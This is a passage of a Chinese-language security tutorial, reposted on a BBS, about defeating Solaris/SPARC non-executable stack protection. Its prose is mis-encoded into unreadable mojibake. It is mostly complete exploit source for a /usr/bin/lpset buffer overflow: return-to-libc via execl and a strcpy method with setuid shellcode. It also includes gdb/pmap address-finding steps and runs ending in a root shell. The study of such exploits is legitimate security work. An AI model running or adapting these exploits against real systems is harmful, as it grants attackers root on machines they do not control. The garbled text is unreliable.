sh_addr, fp_addr, offset, bufsize );
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}
/* dec 4 to skip the 'save' instructure */
execl_addr -= 4;
/* check if the exec addr includes zero */
if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
!(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
exit(1);
}
printf("found execl() at 0x%lx\n",execl_addr);
patternsize = bufsize + 4*4 + 16*4 + 1;
if((pattern = (char *)malloc(patternsize)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
/* construct pattern buffer to overwrite the vul program */
memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage
*/
memset(pattern+20, 0x3d, 1); /* put '=' into buf, man lpset for why */
addrptr = (long *) (pattern + bufsize + 4*4 );
/* Let's overwrite caller function's saved stack frame
I know it's ugly,but just make it more clearly .:)
*/
/* saved %l0-%l7 */
*addrptr++ = fp_addr; /* %l0 */
*addrptr++ = fp_addr; /* %l1 */
*addrptr++ = fp_addr; /* %l2 */
*addrptr++ = fp_addr; /* %l3 */
*addrptr++ = fp_addr; /* %l4 */
*addrptr++ = fp_addr; /* %l5 */
*addrptr++ = fp_addr; /* %l6 */
*addrptr++ = fp_addr; /* %l7 */
/* saved %i0-%i7 */
*addrptr++ = fp_addr; /* %i0 */
*addrptr++ = fp_addr; /* %i1 */
*addrptr++ = fp_addr; /* %i2 */
*addrptr++ = fp_addr; /* %i3 */
*addrptr++ = fp_addr; /* %i4 */
*addrptr++ = fp_addr; /* %i5 */
*addrptr++ = fp_addr; /* saved %fp(%i6) */
*addrptr++ = execl_addr; /* saved ret addr (%i7) */
/* now we set up our fake stack frame */
addrptr=(long *)fakeframe;
*addrptr++= 0x12345678; /* you can put any data in local registers */
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++=sh_addr; /* points to our string to exec */
*addrptr++=sh_addr; /* argv[1] is a copy of argv[0] */
*addrptr++=0x0; /* NULL for execl(); &fakeframe[40] */
*addrptr++=fp2_addr; /* &fakeframe[44] */
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr; /* we need this address to work */
*addrptr++=fp2_addr; /* cause we don't need exec another func,so put
garbage here */
*addrptr++=0x0;
/* Construct fake frame in environ */
/* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
env[0]=(fakeframe); /* sh_addr|sh_addr|0x00 */
env[1]=&(fakeframe[40]);/* |0x00 */
env[2]=&(fakeframe[40]);/* |0x00 */
env[3]=&(fakeframe[40]);/* |0x00 */
env[4]=&(fakeframe[44]);/*
|fp2|fp2|fp2|fp2|fp2*/
env[5]=SHELL; /* shell strings */
env[6]=NULL;
/* adjust pattern size by printer length */
execle(VULPROG, VULPROG,"-n","fns","-a"
, (pattern+strlen(PRINTER)-4), PRINTER,NULL,env);
}
--------------------------------------------------------------------------------
-
ÔÙÀ´²âÊÔһϣº
bash-2.03$ gcc -o lpset_nonexec lpset_nonexec.c -ldl
bash-2.03$ ./lpset_nonexec
Usages: ./lpset_nonexec <offset> <bufsize>
Using SHELL address = 0xffbeffd1 ,FP address = 0xffbeff90, Offset = 4, Bufsize
= 944
found execl() at 0xff30da9c
# id
uid=100(warning3) gid=1(other) euid=0(root) <---- ³É¹¦ÁË!
×¢Ò⣺
ÔÚ²»Í¬µÄϵͳÉÏ(Ö÷ÒªÊÇÓ²¼þƽ̨²»Í¬)£¬offsetµÄÖµ¿ÉÄÜÓв»Í¬£¬ÐèÒª×öһЩµ÷Õû.
3.6 ÀûÓÃstrcpy()¿½±´shellcode
Èç¹ûÄãÈÔÈ»·ÇÒªÓÃsetuid(0),È»ºóÖ´ÐÐexecl()µÄ°ì·¨£¬ÎÒÃÇÔÙ½éÉÜÒ»ÖÖ·½·¨£¬ÀûÓÃ
strcpy()½«ÎÒÃǵÄshellcode¿½±´µ½ÄÚ´æÖеÄijЩ¿ÉдµÄ²¿·ÖÈ¥£¬È»ºóÌøµ½ÄÇÀïÈ¥Ö´ÐС£
ÎÒÃǵÄ×ö·¨Êǽ«ÎÒÃǵÄshellcode·Åµ½»·¾³±äÁ¿ÖУ¬ÆðʼµØÖ·×÷Ϊstrcpy()µÄÔ´µØÖ·£¬
strcpy()µÄÄ¿µÄµØÖ·¿ÉÒÔÔÚ¿Éд¿ÉÖ´ÐеķǶÑÕ»¿Õ¼äÖÐÕÒ£¬È»ºó½«¼ÙÕ»Ö¡ÖеÄ%i7ÓÃÕâ
¸öÄ¿µÄµØÖ·´úÌæ¡£ÕâÑù£¬µ±strcpy()Íê³É¿½±´ºó£¬³ÌÐò¾ÍÌøµ½(Ä¿µÄµØÖ·+8)´¦Ö´ÐÐ
£¨ÔÚshellcodeÇ°Ãæ¼Ó¼¸¸öNOPÖ¸Áî¼´¿É)¡£
ÕâÀï±È½ÏÂé·³µÄÊÇÔõôÕÒÕâ¸öÄ¿µÄµØÖ·£¬Solaris ÌṩÁ˼¸¸öÏÔʾ½ø³ÌÄÚ´æÐÅÏ¢µÄ³ÌÐò
ÔÚ/usr/proc/binÏÂÃæ¡£/usr/proc/bin/pmap¿ÉÒÔÏÔʾ½ø³Ì¿Õ¼äµÄÓ³ÉäÇé¿ö¡£ÎÒÃÇ¿ÉÒÔ
ÀûÓÃËüÀ´ÕÒµ½Ä¿µÄµØÖ·£º
bash-2.03# gdb lpset
GNU gdb 4.18
<......>
(gdb) b main
Breakpoint 1 at 0x10de0
(gdb) r
Starting program: /usr/bin/lpset
<.....>
(gdb)
ÔÚÁíÒ»¸öÖն˴°¿Ú²éÕÒlpsetµÄpid,È»ºóÔËÐÐpmap:
bash-2.03# ps -ef|grep lpset
root 14439 1 0 22:56:33 pts/3 0:00 /usr/bin/lpset
bash-2.03# /usr/proc/bin/pmap 14439
14439: /usr/bin/lpset
00010000 8K read/exec /usr/bin/lpset
00020000 8K read/write/exec /usr/bin/lpset
FF3B0000 120K read/exec dev:136,0 ino:100273
FF3DC000 8K read/write/exec dev:136,0 ino:100273 <--- ÕâÀïÊÇ¿Éд¿ÉÖ´ÐеÄ
FFBEC000 16K read/write [ stack ]
total 160K
bash-2.03#
ÎÒÃÇ¿ÉÒÔ½«DEST¶¨ÒåΪ0xff3dc0c0,ÔÚSolaris 2.6ÏÂÕâ¸öµØÖ·ÊDz»Ò»ÑùµÄ¡£
3.7 Ò»¸öʵ¼ÊµÄÀý×Ólpset_nonexec1.c
ÏÂÃæÊDzâÊÔ³ÌÐò£¬ºÍÇ°ÃæÄǸö²î±ð²»´ó£¬¾Í²»¶à˵ÁË£¬¿´¿´×¢ÊÍÓ¦¸Ã¾ÍÃ÷°×ÁË¡£
--------------------------------------------------------------------------------
-
/* ---> lpset_nonexec2.c <---
* expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature.
* this exploit using strcpy() method.
* It is one test for writing exploits in Sparc to defeat non-exec statck,
* just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
* gcc -o exn2 lpset_nonexec2.c -ldl
* ./exn2 <offset> <bufsize>
* by warning3@hotmail.com
* y2k/05/05
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#define VULPROG "/usr/bin/lpset"
#define PRINTER "blah"
#define BUFSIZE 944 /* the size of overflowed buffer*/
#define EGGSIZE 1024 /* the egg buffer size */
#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */
#define OFFSET 4 /* if don't work ,try adjust offst to 0 - 5 */
#define DEST 0xff3dc0c0 /* in Solaris 7, the dest address that shellcode
was strcpyed */
/* in Solaris 2.6 , #define DEST 0xef7fa0a0 */
char shellcode[] = /* from scz's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";
long get_sp(void)
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *env[3];
char fakeframe[512];
char plat[256];
void *handle;
long strcpy_addr, dest_addr=DEST;
char *pattern,eggbuf[EGGSIZE];
long sh_addr, i, sp_addr,fp_addr, fp2_addr;
long bufsize=BUFSIZE, offset=OFFSET, patternsize ;
long *addrptr;
if( argc > 1 ) offset = atoi(argv[1]);
if( argc > 2 ) bufsize = atoi(argv[2]);
/* get plat info */
sysinfo(SI_PLATFORM,plat,256);
sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
/* fp2_addr must be valid stack address */
fp2_addr = (sp_addr & 0xfffffac0);
/* get shell string address */
sh_addr = sp_addr - strlen(VULPROG) - offset - strlen(plat) -
sizeof(eggbuf) -2 ;
/* get our fake frame address */
fp_addr = sh_addr - 8*8 -1;
printf("Usages: %s <offset> <bufsize> \n", argv[0] );
printf("Using SHELL address = 0x%x ,FP address = 0x%x, Offset = %d
, Bufsize = %d\n", sh_addr, fp_addr, offset, bufsize );
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
{
fprintf(stderr,"Can't find strcpy().\n");
exit(1);
}
/* dec 4 to skip the 'save' instructure */
strcpy_addr -= 4;
/* check if the exec addr includes zero */
if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
!(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
{
fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
exit(1);
}
printf("found strcpy() at 0x%lx\n",strcpy_addr);
printf("Use shellcode destination at 0x%lx\n",dest_addr);
patternsize = bufsize + 4*4 + 16*4 + 1;
if((pattern = (char *)malloc(patternsize)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
/* construct pattern buffer to overwrite the vul program */
memset(pattern, 'C', patternsize);/* fill pattern buffer with garbage */
memset(pattern+20, 0x3d, 1); /* put '=' into buf, man lpset for why */
addrptr = (long *) (pattern + bufsize + 4*4 );
/* Let's overwrite caller function's saved stack frame
I know it's ugly,but just make it more clearly .:)
*/
/* saved %l0-%l7 */
*addrptr++ = fp_addr; /* %l0 */
*addrptr++ = fp_addr; /* %l1 */
*addrptr++ = fp_addr; /* %l2 */
*addrptr++ = fp_addr; /* %l3 */
*addrptr++ = fp_addr; /* %l4 */
*addrptr++ = fp_addr; /* %l5 */
*addrptr++ = fp_addr; /* %l6 */
*addrptr++ = fp_addr; /* %l7 */
/* saved %i0-%i7 */
*addrptr++ = fp_addr; /* %i0 */
*addrptr++ = fp_addr; /* %i1 */
*addrptr++ = fp_addr; /* %i2 */
*addrptr++ = fp_addr; /* %i3 */
*addrptr++ = fp_addr; /* %i4 */
*addrptr++ = fp_addr; /* %i5 */
*addrptr++ = fp_addr; /* saved %fp(%i6) */
*addrptr++ = strcpy_addr; /* saved ret addr (%i7) */
/* now we set up our fake stack frame */
addrptr=(long *)fakeframe;
*addrptr++= 0x12345678; /* you can put any data in local registers */
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++=dest_addr; /* destination address */
*addrptr++=sh_addr; /* source address of shellcode */
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr; /* we need this address to work */
*addrptr++=dest_addr; /* we will jump (dest_addr+8) to run */
*addrptr++=0x0;
memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */
for (i = 0; i < EGGSIZE; i+=4) /* fill with NOP */
{
eggbuf[i+3]=NOP & 0xff;
eggbuf[i+2]=(NOP >> 8 ) &0xff;
eggbuf[i+1]=(NOP >> 16 ) &0xff;
eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */
}
/* Notice : we assume the length of shellcode can be divided exatcly by 4 .
If not, exploit will fail. Anyway, our shellcode is. ;-)
*/
memcpy(eggbuf + EGGSIZE - strlen(shellcode) , shellcode, strlen(shellcode));
/* Construct fake frame in environ */
env[0]=(fakeframe); /* dest_addr|sh_addr|fp2|fp2|fp2|fp2|fp2|dest_addr */
env[1]=eggbuf;
env[2]=NULL;
/* adjust pattern size by printer length */
execle(VULPROG, VULPROG,"-n","fns","-a"
, (pattern+strlen(PRINTER)-4), PRINTER,NULL,env);
} /* end of main */
--------------------------------------------------------------------------------
----------
²âÊÔһϣº
bash-2.03$ gcc -o exn2 lpset_nonexec2.c -ldl
bash-2.03$ ./exn2
Usages: ./exn2 <offset> <bufsize>
Using SHELL address = 0xffbefbd9 ,FP address = 0xffbefb98, Offset = 4, Bufsize
= 944
found strcpy() at 0xff2b6960
Use shellcode destination at 0xff3dc0c0
sh: C: not found
# id
uid=0(root) gid=1(other) <---- ³É¹¦£¡
4. ½áÊøÓï
ÉÏÃæÖ»ÊǽéÉÜһЩ»ù±¾µÄ·½·¨ºÍ˼·£¬ÔÚʵ¼ÊÓ¦ÓõÄʱºò£¬»¹¿ÉÄÜ»áÅöµ½ºÜ¶àÎÊÌâ¡£
ÀýÈ磬ÓÐЩÇé¿öÏ£¬%i0-%i5µÄÖµÊDz»ÄÜËæ±ãÌîµÄ£¬·ñÔò½«µ¼Öº¯Êý²»ÄÜÕý³£·µ»Ø£¬
Ö»ÄܾßÌåÇé¿ö¾ßÌå·ÖÎö¡£±Ï¾¹ÕâÖ»ÊÇÈëÃÅÐÔÖʵÄÎÄÕ£¬Å׿éשͷ°ÕÁË¡£
¸ÐлÄÜ¿´µ½ÕâÀïµÄÅóÓÑ£¬Ð»Ð»ÄúµÄÄÍÐÄ.
¸Ðл5.1Õâô³¤µÄ¼ÙÆÚ£¬ÈÃÎÒÓÐʱ¼äдµã¶«Î÷¡£ :-)
5. ²Î¿¼ÎÄÏ×£º
[1]. <<Defeating Solaris/SPARC Non-Executable Stack Protection>>,horizon
<jmcdonal@unf.edu>
[2]. << ex_lpset.c Overflow Exploits( for Intel Edition )>>,The Shadow Penguin
Security
[3]. <<Understanding stacks and registers in the Sparc architecture(s)>>,Peter
Magnusson.
[4]. <<A Laboratory Manual for the SPARC >>,Arthur B. Maccabe,Jeff Vandyke
<<Íê>>
°æȨËùÓУ¬Î´¾Ðí¿É£¬²»µÃתÔØ
»¶Ó·ÃÎÊÎÒÃǵÄÕ¾µãhttp://www.isbase.com/
ÂÌÉ«±øÍŸøÄú°²È«µÄ±£ÕÏ
¹ØÓÚÎÒÃÇ ºÏ×÷»ï°é ÂÌÃËÔ¿¯ °²È«ÂÛ̳ ϵͳ©¶´ °²È«ÎÄÏ× ¹¤¾ß½éÉÜ ·þ
ÎñÏîÄ¿ ¿Í»§×¨Çø
--------------------------------------------------------------------------------
ÂÌÃ˼ÆËã»úÍøÂ簲ȫ¼¼ÊõÓÐÏÞ¹«Ë¾°æȨËùÓÐ ÁªÏµ:isbase@isbase.net
© 1999,2000 isbase Corporation. All rights Reserved.
--
¡î À´Ô´:£®BBS ÀóÔ°³¿·çÕ¾ bbs.szu.edu.cn£®[FROM: bbs@192.168.28.106]
--
¡ù תÔØ:¡¤BBS ÀóÔ°³¿·çÕ¾ bbs.szu.edu.cn¡¤[FROM: bbs.szptt.net.cn]
[»Øµ½¿ªÊ¼]
[ÉÏһƪ][ÏÂһƪ]
ÀóÔ°ÔÚÏßÊ×Ò³ ÓÑÇéÁ´½Ó£ºÉîÛÚ´óѧ Éî´óÕÐÉú ÀóÔ°³¿·çBBS S-TermÈí¼þ ÍøÂçÊéµê